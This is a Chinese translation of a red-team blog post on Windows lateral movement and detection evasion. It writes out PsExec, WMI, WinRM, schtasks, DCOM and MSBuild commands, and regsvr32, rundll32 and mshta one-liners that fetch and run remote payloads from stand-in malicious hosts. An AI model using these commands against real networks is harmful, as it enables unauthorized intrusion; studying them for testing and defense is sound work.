前言
近期看了一篇不错的横向移动的文章,觉得不错就简单翻译了一下(谷歌翻译哈哈哈哈!) 原文地址:https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f
OFFENSIVE LATERAL MOVEMENT(横向移动)
横向移动是从一个受感染主机迁移到另一个受感染主机的过程。渗透测试人员和红队通过通过执行powershell.exe在远程主机上面运行经过base64编码的命令来完成横向移动,然后返回到目标的会话。这样做的问题在于,Powershell用来横向移动已经不是一个新的技术了,即使是成熟的安全厂商和蓝队都能对这种横向移动技术进行检测并且迅速的拦截,任何一种不错AV产品都可以将恶意命令执行之前给拦截。横向移动的困难在于具有良好的操作安全性(OpSec),这意味着尽量少生成一些日志,或者生成的日志看上去是正常的,难以被防守方和和蓝队发现。目的不仅是展示技术,但要显示幕后情况以及与之相关的任何指标。我将在整个文章中引用一些Cobalt Strike语法,因为这是我们主要用于C2的语法,但是Cobalt Strike的内置横向移动技术是相当嘈杂,对OpSec不友好。另外,我了解并非每个人都有Cobalt Strike,,因此在大多数示例中也引用了Meterpreter,但是这些技术是通用的。
这里有几种不同的横向移动技术,将尝试从较高的角度介绍大型横向运动机器工作原理,但是在介绍这些技术之前,我先介绍一些技术词汇。
Named Pipe(命名管道):命名管道是一种通过SMB(TCP 445)相互通信的一种方式,它工作在OSI模型的第五层,类似于端口可以监听链接的方式,命名管道也可以监听请求
Access Token(访问令牌):根据Microsoft的文档:访问令牌是一个对象,它描述进程或线程的安全上下文。令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统通过将用户密码与安全数据库中存储的信息进行比较来验证用户密码。验证用户的凭证后,系统将生成访问令牌。代表该用户执行的每个进程都有此访问令牌的副本。
换句话说,它包含您的身份并说明您可以在系统上使用或不能使用的功能。在不深入研究Windows身份验证的情况下,访问令牌会参考登录会话,这是用户登录Windows时创建的登录会话。
Network Logon (Type 3):当帐户对远程系统/服务进行身份验证时,将发生网络登录。在网络身份验证期间,可重用凭据不会发送到远程系统。因此,当用户通过网络登录登录到远程系统时,该用户的凭据将不会出现在远程系统上以执行进一步的身份验证。这带来了双跳问题,这意味着如果我们有一个单线通过网络登录连接到一个目标,然后又通过SMB到达,则不存在通过SMB登录的凭据,因此登录失败。示例在下面进一步显示。
PsExec
PsExec来自Microsoft的Sysinternals套件,允许用户使用命名管道通过端口445(SMB)在远程主机上执行Powershell。它首先通过SMB连接到目标上的ADMIN$共享,上载PSEXESVC.exe并使用Service Control Manager启动.exe,后者在远程系统上创建一个命名管道,最后将该管道用于I / O。 语法示例如下:
psexec \test.domain -u DomainUser -p Password ipconfig
Cobalt Strike (CS) 的处理方式略有不同,它首先创建一个Powershell的脚本,该脚本对内存中运行的嵌入式的payloads 进行一个base64的编码,并将其压缩为单行代码,连接到ADMIN或者是C share并且运行Powershell命令。问题是它会创建服务并运行base64编码的命令,这是不正常的,并且会引发各种警报并生成日志。 另外,发送的命令是通过命名管道发送的,该管道在CS中具有默认名称(可以更改)。 Red Canary撰写了一篇有关检测它的出色文章。Cobalt Strike有两个内置的PsExec,一个称为PsExec,另一个称为PsExec(psh)。两者之间的区别,尽管CS文档有说明,PsExec(psh)仍在调用Powershell.exe,并且您的信标将作为Powershell.exe进程运行,而没有(psh)的PsExec将作为rundll32.exe运行。
默认情况下,PsExec将生成rundll32.exe进程以从中运行。它不会将DLL拖放到磁盘或任何东西上,因此从蓝队的角度来看,如果rundll32.exe在没有参数的情况下运行,则非常可疑。
SC
服务控制器确实听起来像它-它控制服务。这对于攻击者特别有用,因为可以通过SMB安排任务,因此启动远程服务的语法为:
sc \host.domain create ExampleService binpath= “c:windowssystem32calc.exe”
sc \host.domain start ExampleService
唯一需要注意的是,可执行文件必须特别是服务二进制文件。服务二进制文件的不同之处在于它们必须“签入”服务控制管理器(SCM),如果没有,则将退出执行。因此,如果为此使用非服务二进制文件,则它将作为agent/beacon 再次出现,然后die。
在CS中,您可以专门制作服务可执行文件:
WMI
Windows内置Windows Management Instrumentation(WMI),以允许通过WMI服务远程访问Windows组件。通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口),它允许系统管理员远程执行自动管理任务,例如远程启动服务或执行命令。它可以通过wmic.exe直接进行交互。 WMI查询示例如下所示:
wmic /node:target.domain /user:domainuser /password:password process call create "C:WindowsSystem32calc.exe”
Cobalt Strike利用WMI在目标上执行Powershell的payload,因此使用内置WMI时PowerShell.exe将打开,这是OpSec问题,因为执行的是base64编码的负载。
因此,我们看到即使通过WMI,尽管wmic.exe能够通过PowerShell在目标上运行命令,但仍创建了命名管道,那么为什么要首先创建命名管道呢?命名管道不是执行有效负载所必需的,但是有效负载CS会使用命名管道进行通信(通过SMB)。
WinRM
Windows Remote Management allows management (WinRM)运行管理服务器硬件,这也是Microsoft通过HTTP(S) 使用WMI的方式。不同于传统的一个WEB浏览,它不是使用80/443,而是使用5985(HTTP)和5986(HTTPS)来代替它们。WinRM默认情况下随Windows一起安装,但需要进行一些设置才能使用。这是服务器操作系统的例外,因为自2012R2及更高版本开始默认启用。 WinRM需要客户端上的侦听器(听起来熟悉吗?),即使启动了WinRM服务,也必须存在一个侦听器,以便其处理请求。这可以通过Powershell中的命令完成,也可以通过WMI和Powershell远程完成:
Enable-PSRemoting -Force
从非CS的角度来看(用您的二进制文件替换calc.exe):
winrs -r:EXAMPLE.lab.local -u:DOMAINuser -p:password calc.exe
Executing with CobaltStrike:
当然,这样做的问题是必须使用PowerShell启动它。如果您是远程用户,则需要通过DCOM或WMI完成。虽然打开PowerShell并不奇怪,并且启动WinRM侦听器可能会在雷达下飞来飞去,但执行有效负载时会出现嘈杂的部分,因为运行Cobalt Strike内置的WinRM模块时会有一个指示器。
SchTasks
SchTasks是“计划任务”的缩写,它最初在端口135上运行,然后使用DCE / RPC进行通信,继续通过临时端口进行通信。与在Linux中创建cron-job相似,您可以安排任务发生并执行所需的任何操作。
schtasks /create /tn ExampleTask /tr c:windowssystem32calc.exe /sc once /st 00:00 /S host.domain /RU System
schtasks /run /tn ExampleTask /S host.domain
schtasks /F /delete /tn ExampleTask /S host.domain
In CobaltStrike:
shell schtasks /create /tn ExampleTask /tr c:windowssystem32calc.exe /sc once /st 00:00 /S host.domain /RU System
shell schtasks /run /tn ExampleTask /S host.domain
Then delete the job (opsec!)
shell schtasks /F /delete /tn ExampleTask /S host.domain
MSBuild
虽然不是横向移动技术,但Casey Smith在2016年发现,可以将MSBuild.exe与上述某些方法结合使用,以避免丢弃已编码的Powershell命令或生成cmd.exe。MSBuild.exe是一个Microsoft签名的可执行文件,已随.NET Framework软件包一起安装。MSBuild用于通过提供架构的XML文件来compile/build C# applications。从攻击者的角度来看,这用于编译C#代码以生成恶意的二进制文件或有效负载,甚至直接从XML文件运行有效负载。MSBuild也可以通过SMB进行编译,如下语法所示。
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe \host.domainpathtoXMLfile.xml
当然可以是已经通过建立会话链接,然后把远程通过WMI来用MSBuild来远程编程C#的XMLfile.xml
wmic /node:LADWIN.lab.local /user:LABadministrator /password:Password!
process call create "C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe C:WindowsXMLfile.xml"
XML Template:
https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml
What doesn’t work:
wmic /node:LABWIN10.lab.local /user:LABAdministrator /password:Password! process call create "c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe \LAB2012DC01.LAB.localC$WindowsTempbuild.xml"
由于双跳问题,尝试使用wmic调用msbuild.exe通过SMB构建XML将会失败。当发生网络登录(类型3)时,会出现双跳问题,这意味着凭据实际上从未发送到远程主机。由于凭据没有发送到远程主机,因此远程主机无法向有效负载托管服务器进行身份验证。在Cobalt Strike中,使用wmic时通常会遇到这种情况,解决方法是为该用户创建令牌,因此可以从该主机传递凭据。但是,如果没有CS,则有一些解决方法:
在本地托管XML文件(放置到磁盘)
copy C:UsersAdministratorDownloadsbuild.xml LABWIN10.lab.localC$WindowsTemp
wmic /node:LABWIN10.lab.local /user:LABAdministrator /password:Password! process call create "c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe C:WindowsTempbuild.xml"
通过WebDAV托管XML(远程服务器托管)
使用PsExec
psexec host.domain -u DomainTester -p Passw0rd c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe host.domainC$WindowsTempbuild.xml"
在Cobalt Strike中,有一个Aggressor Script扩展程序,该扩展程序使用MSBuild执行Powershell命令,而不会通过不受管进程(二进制直接编译成机器代码)而生成Powershell。这是通过WMI / wmic.exe上传的。
https://github.com/Mr-Un1k0d3r/PowerLessShell
MSBuild的关键指标是它正在通过SMB执行,并且MSBuild正在建立出站连接。
DCOM
组件对象模型(COM)是具有不同应用程序和语言的进程使用的一种协议,因此它们彼此通信。 COM对象不能在引入了分布式COM(DCOM)协议的网络上使用。我出色的同事Matt Nelson通过Microsoft管理控制台(MMC)2.0脚本对象模型中的ExecuteShellCommand方法,通过DCOM发现了一种横向移动技术,该方法用于系统管理服务器的管理功能。
可以通过以下方式调用
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:WindowsSystem32Calc.exe","0","0","0")
DCOM使用network-logon (type 3),o这里还会遇到双跳问题。 PsExec消除了双跳问题,因为与命令一起传递了凭据并生成了交互式登录会话(类型2),但是问题是ExecuteShellCommand方法仅允许四个参数,因此如果传递的参数少于或大于四个进入,它出错了。另外,空格必须是它们自己的参数(例如,“ cmd.exe”,$ null,“ / c”是三个参数),这消除了将带有DCOM的PsExec与执行MSBuild的可能性。从这里开始,有一些选择。
使用WebDAV
将XML文件托管在不需要身份验证的SMB共享上(例如,使用Impacket的SMBServer.py,但很可能要求攻击者在网络上拥有攻击机器)
尝试其他类似的“ ExecuteShellCommand”方法
使用WebDAV,它仍然使用UNC路径,但是如果Windows无法通过445和139到达路径,则Windows最终将退回到端口80。使用WebDAV,SSL也是一个选择。唯一需要注意的是,WebDAV在服务器上不起作用,因为默认情况下该服务在服务器操作系统上不存在。
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:windowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe",$null,"\192.168.10.131webdavbuild.xml","7")
通过不需要任何身份验证即可访问WebDAV服务器(在本例中也是C2服务器),从而解决了双跳问题。 此方法的问题在于它产生了两个进程:mmc.exe,因为从MMC2.0和MSBuild.exe调用了DCOM方法。 另外,这确实会临时写入磁盘。 Webdav写道
CWindowsServiceProfilesLocalServiceAppDataLocalTempTfsStoreTfs_DAV
并且在执行后不会清除任何文件。 MSBuild临时写入
C Users[USER]AppDataLocalTemp[RANDOM]
并会自行清理。巧妙的方法是,由于MSBuild使用Webdav,因此MSbuild会清理Webdav创建的文件。 本文还介绍了其他执行DCOM方法和防御建议。
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
Remote File Upload
不一定是横向移动技术,值得注意的是,您可以生成自己的二进制文件,而不是使用Cobalt Strikes内置插件(可能更隐秘)。这是通过对目标C $共享具有SMB的上载特权(即管理权限)来实现的,然后您可以将其无阶段的二进制文件上载到并通过wmic或DCOM执行。 请注意,beacon 没有“check in”。需要通过命令手动完成
link target.domain
不使用 CS:
copy C:WindowsTempMalice.exe \target.domainC$WindowsTemp
wmic /node:target.domain /user:domainuser /password:password process call create "C:WindowsTempMalice.exe”
Other Code Execution Options
还有更多可能的代码执行选项,它们需要本地执行而不是远程执行,因此像MSBuild一样,这些必须与横向移动技术配合使用。
Mshta
Mshta.exe是Windows上默认安装的可执行文件,它允许执行.hta文件。 .hta文件是Microsoft HTML应用程序文件,允许在HTML应用程序中执行Visual Basic脚本。关于Mshta的好处是,它允许通过URL执行,并且由于它是受信任的Microsoft可执行文件,因此应绕过默认的应用白名单。
mshta.exe https://malicious.domain/runme.hta
Rundll32
这是相对众所周知的。 Rundll32.exe再次是受信任的Windows二进制文件,用于执行DLL文件。可以通过UNC WebDAV路径甚至通过JavaScript来指定DLL。
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
由于它正在运行DLL,因此您可以将其与其他一些DLL结合使用,以实现不同的技术:
URL.dll:可以运行.url(快捷方式)文件;也可以运行.hta文件
rundll32.exe url.dll,OpenURL "C:WindowsTemptest.hta"
ieframe.dll: 可以运行.url文件
[InternetShortcut]
URL=file:///c:windowssystem32cmd.exe
Regsvr32 注册服务器用于为注册表注册和注销DLL。 Regsrv32.exe是经过签名的Microsoft二进制文件,可以接受URL作为参数。具体来说,它将运行一个.sct文件,该文件是一个XML文档,允许注册COM对象。
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll